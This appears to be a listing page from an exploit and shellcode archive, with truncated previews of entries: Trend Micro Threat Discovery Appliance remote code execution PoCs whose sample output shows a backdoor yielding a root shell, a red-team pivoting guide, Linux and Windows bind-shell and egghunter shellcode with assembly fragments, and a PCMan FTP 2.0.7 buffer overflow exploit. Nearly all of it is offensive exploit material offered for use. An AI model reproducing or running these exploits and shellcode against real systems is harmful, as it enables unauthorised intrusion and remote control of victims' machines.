Trend Micro Threat Discovery Appliance 2.6.1062r1 log_query.cgi Remote Code Execution Exploit

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a logquery.cgi remote code execution vulnerability. !/usr/local/bin/python """ Trend Micro Threat Discovery Appliance + eg: ./poc.py 172.16.175.123 admin123 saturn:trendmicrothreatdiscoverylogqueryrce mrme$ ./poc.py...

Trend Micro Threat Discovery Appliance 2.6.1062r1 admin_sys_time.cgi Remote Code Execution Exploit

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a adminsystime.cgi remote code execution vulnerability. !/usr/local/bin/python """ Trend Micro Threat Discovery Appliance + eg: ./poc.py 172.16.175.123 admin123 saturn:trendmicrothreatdiscoveryadminsystimerce mrme$...

Trend Micro Threat Discovery Appliance 2.6.1062r1 log_query_dlp.cgi Remote Code Execution

!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance + eg: ./poc.py 172.16.175.123 admin123 saturn:trendmicrothreatdiscoverylogquerydlprce mrme$ ./poc.py 172.16.175.123 admin + logged in... + starting backdoor, this will take a few secs... + calling backdoor! id uid=0root gid=0root...

Trend Micro Threat Discovery Appliance 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution

!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance /opt/TrendMicro/MinorityReport/bin/ Then, all we do is create /engptnstores/prod/sensorSDK/data/si/dlpkill.sh with malicious code and get it executed... Notes: ====== - For this particular PoC, all I did was exec a bind shell using...

Trend Micro Threat Discovery Appliance 2.6.1062r1 admin_sys_time.cgi Remote Code Execution

!/usr/local/bin/python """ Trend Micro Threat Discovery Appliance + eg: ./poc.py 172.16.175.123 admin123 saturn:trendmicrothreatdiscoveryadminsystimerce mrme$ ./poc.py 172.16.175.123 admin123 + logged in... + starting backdoor, this will take a few secs... + calling backdoor! id uid=0root gid=0ro...

A Red Teamer’s guide to pivoting

A Red Teamer’s guide to pivoting A Red Teamer's guide to pivoting Penetration testers often traverse logical network boundaries in order to gain access to client’s critical infrastracture. Common scenarios include developing the attack into the internal network after successful perimeter breach o...

Linux/x86 - Bind Shell Shellcode (42 bytes)

Linux/x86 - Bind Shell Shellcode 42 bytes. Shellcode exploit for Linx86 platform / SuperSmallBindShell 2 x86 Date: 17.03.2017 This shellcode will listen on random port and show you how deep the rabbit hole goes Please note that ports below 1024 require high privileges to bind! Shellcode Author:...

Linux/x86 - Bind Shell Shellcode (51 bytes)

/ SuperSmallBindShell x86 Date: 17.03.2017 This shellcode will listen on port 37 and show you how deep the rabbit hole goes Please note that 37 port is below 1024 and thus privileged! Shellcode Author: ALEH BOITSAU Shellcode Length: 51 bytes ; Tested on: Debian GNU/Linux 8/x8664 Command: gcc -m32...

Linux/x86-64 - Egghunter Shellcode (38 bytes)

/ Copyright © 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the...

Linux - Dual/Multi mode Bind Shell Shellcode (156 bytes)

Linux - Dual/Multi mode Bind Shell Shellcode 156 bytes. Shellcode exploit for Linux platform / Copyright © 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1...

Linux/x86 - Dual/Multi mode Bind Shell Shellcode (156 bytes)

/ Copyright © 2017 Odzhan. All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the...

Windows/x64 - Password Protected Bind Shellcode (825 bytes)

/ Title : Windows x64 Password Protected Bind Shell TCP shellcode size : 825 bytes Author : Roziul Hasan Khan Shifat Tested On : Windows 7 x64 professional Date : 01-01-2017 / / file format pe-x86-64 Disassembly of section .text: 0000000000000000 : 0: 99 cltd 1: b2 80 mov $0x80,%dl 3: 48 29 d4 su...

Windows x64 - Password Protected Bind Shellcode (825 bytes)

Windows x64 - Password Protected Bind Shellcode 825 bytes. Shellcode exploit for Winx86-64 platform / Title : Windows x64 Password Protected Bind Shell TCP shellcode size : 825 bytes Author : Roziul Hasan Khan Shifat Tested On : Windows 7 x64 professional Date : 01-01-2017 / / file format pe-x86-...

Windows/x64 - Bind Shell TCP Shellcode (508 bytes)

/ Title : Windows x64 Bind Shell TCP Shellcode size : 508 bytes Date : 08-12-2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x64 / / section .text global start start: xor rdx,rdx mov rax,gs:rdx+0x60 mov rsi,rax+0x18 mov rsi,rsi+0x10 lodsq mov rsi,rax mov r14,rsi+0x30...

Windows x64 - Bind Shell TCP Shellcode (508 bytes)

Windows x64 - Bind Shell TCP Shellcode 508 bytes. Shellcode exploit for Winx86-64 platform / Title : Windows x64 Bind Shell TCP Shellcode size : 508 bytes Date : 08-12-2016 Author : Roziul Hasan Khan Shifat Tested On : Windows 7 Professional x64 / / section .text global start start: xor rdx,rdx m...

PCMan FTP Server 2.0.7 LIST Buffer Overflow Exploit

PCMan FTP server version 2.0.7 LIST command buffer overflow exploit. !/usr/bin/env python -- coding: utf-8 -- Exploit Title: PCMan FTP Server 2.0.7 - 'LIST' Command Buffer Overflow Date: 07/11/2016 Author: Yunus YILDIRIM Th3GundY Team: CT-Zer0 @CRYPTTECH - https://www.crypttech.com Website:...

Windows x86 - Password Protected TCP Bind Shell (637 bytes)

Windows x86 - Password Protected TCP Bind Shell 637 bytes. Shellcode exploit for Winx86 platform / Title : Windows x86 password protected bind shell tcp shellcode Date : 12-09-2016 Author : Roziul Hasan Khan Shifat size : 637 bytes Tested On : Windows 7 ultimate x86 x64 Email : [email protected]...

Windows/x86 - Password Protected TCP Bind Shell (637 bytes)

/ Title : Windows x86 password protected bind shell tcp shellcode Date : 12-09-2016 Author : Roziul Hasan Khan Shifat size : 637 bytes Tested On : Windows 7 ultimate x86 x64 Email : email protected / / Disassembly of section .text: 00000000 : 0: 99 cltd 1: 64 8b 42 30 mov %fs:0x30%edx,%eax 5: 8b ...

Windows x86 - Bind Shell TCP Shellcode

Windows x86 - Bind Shell TCP Shellcode. Shellcode exploit for Winx86 platform / Title : Windows x86 bind shell tcp shellcode Author : Roziul Hasan Khan Shifat Date : 08-09-2016 Tested On : Windows 7 Ultimate , Starter x86 / //Note: This shellcode will only works on x86 / section .text global star...

Windows/x86 - Bind Shell TCP 4444 Shellcode (357 Bytes)

/ Title : Windows x86 bind shell tcp shellcode Author : Roziul Hasan Khan Shifat Date : 08-09-2016 Tested On : Windows 7 Ultimate , Starter x86 / //Note: This shellcode will only works on x86 / section .text global start start: xor ecx,ecx mov eax,fs:ecx+0x30 ;PEB mov eax,eax+0xc ;PEB.Ldr mov...